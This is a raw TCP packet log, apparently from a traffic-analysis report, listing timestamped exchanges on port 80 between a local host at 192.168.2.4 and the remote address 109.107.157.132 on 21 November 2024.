Nov 21, 2024 22:33:46.720118999 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.720231056 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.720238924 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.720282078 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.721836090 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.721848965 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.721879959 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.721895933 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.723170042 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.723212004 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.723280907 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.723356962 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.785170078 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.785224915 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.785228968 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.785268068 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.785847902 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.785928011 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.786101103 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.786144018 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.786231995 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.786273956 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.787661076 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.787729025 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.787766933 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.787817001 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.789170980 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.789216042 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.789274931 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.789319992 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.790684938 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.790731907 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.790760994 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.790796995 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.792207956 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.792254925 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.792301893 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.792351007 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.793709040 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.793757915 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.793816090 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.793860912 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.795264959 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.795311928 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.795397043 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.795442104 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.796761990 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.796808958 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.796859980 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.796905994 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.798352003 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.798399925 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.798439026 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.798480988 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.799906969 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.799958944 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.799972057 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.800009012 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.801304102 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.801351070 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.801384926 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.801424026 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.863478899 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.863535881 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.863548994 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.863591909 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.864119053 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.864171028 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.864418030 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.864463091 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.864542961 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.864583015 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.865973949 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.866050005 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.866132021 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.866177082 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.867197037 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.867244959 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.867280960 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.867328882 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.868710995 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.868736029 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.868763924 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.868782997 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.870141983 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.870196104 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.870225906 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.870275974 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.871665955 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.871797085 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.871893883 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.871936083 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.873197079 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.873239994 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.873297930 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.873337984 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.874695063 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.874737024 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.874917984 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.874958038 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.876276016 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.876338959 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.876425982 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.876471043 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.877746105 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.877790928 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.877870083 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.877918959 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.879303932 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.879353046 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.879365921 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.879393101 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.941489935 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.941571951 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.941751003 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.941922903 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.942161083 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.942203045 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.942491055 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.942534924 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.942562103 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.942605019 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.943387985 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.943428993 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.943479061 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.943525076 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.944880962 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.944917917 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.945013046 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.945051908 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.946441889 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.946480989 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.946543932 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.946583986 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.947922945 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.947962046 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.948019028 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.948064089 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.949436903 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.949482918 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.949567080 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.949619055 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.950982094 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.951026917 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.951242924 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.951284885 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.952476978 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.952523947 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.952569962 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.952615976 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.953991890 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.954040051 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.954106092 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.954154015 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.955498934 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.955547094 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.955694914 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.955739975 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.957055092 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.957075119 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.957099915 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.957117081 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.958544970 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.958592892 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.958656073 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.958703995 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.960005045 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.960052013 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.019633055 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.019643068 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.019812107 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.019907951 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.019956112 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.019988060 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.020034075 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.020801067 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.020848036 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.020925045 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.020972013 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.022341967 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.022389889 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.022459030 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.022506952 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.023854017 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.023900986 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.023968935 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.024013996 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.025367022 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.025413990 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.025450945 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.025504112 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.026874065 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.026941061 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.026974916 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.027023077 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.028397083 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.028443098 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.028503895 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.028548956 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.029947996 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.029999018 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.030040026 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.030085087 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.031440020 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.031486034 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.031574011 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.031619072 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.032932997 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.032988071 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.033045053 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.033083916 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.034459114 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.034507990 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.034519911 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.034558058 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.035988092 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.036036968 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.036103010 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.036149979 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.037497044 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.037560940 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.037713051 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.037759066 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.098505020 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.098515034 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.098526001 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.098685980 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.098803043 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.098870039 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.100027084 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.100075006 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.100116968 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.100167036 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.101501942 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.101550102 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.101583004 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.101624012 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.103051901 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.103100061 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.103171110 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.103219032 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.104556084 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.104604959 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.104676962 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.104722977 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.106044054 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.106091976 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.106131077 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.106175900 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.107639074 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.107690096 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.107723951 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.107769966 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.109137058 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.109184980 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.109288931 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.109334946 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.110583067 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.110635042 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.110732079 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.110775948 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.112098932 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.112144947 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.112171888 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.112212896 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.113640070 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.113687038 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.113831043 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.113883018 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.115139008 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.115184069 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.115268946 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.115319014 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.142669916 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.142854929 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.176254988 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.176321983 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.176347971 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.176400900 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.176672935 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.176722050 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.176820993 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.176868916 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.178245068 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.178292990 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.178350925 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.178391933 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.179727077 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.179774046 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.179824114 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.179871082 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.181252956 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.181303024 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.181490898 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.181538105 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.182750940 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.182800055 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.182846069 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.182892084 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.184253931 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.184298992 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.184365034 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.184408903 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.185803890 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.185853004 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.185902119 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.185940981 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.187362909 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.187410116 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.187494993 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.187539101 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.188875914 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.188925982 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.188951015 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.188992023 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.190422058 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.190475941 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.190541983 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.190584898 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.191926003 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.191984892 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.192025900 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.192070007 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.193388939 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.193444967 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.193511009 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.193552017 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.194938898 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.194993973 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.195168018 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.195214987 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.196429014 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.196490049 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.196520090 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.196614981 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.254777908 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.254796982 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.254883051 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:47.255127907 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:47.255163908 CET	49759	80	192.168.2.4	109.107.157.132
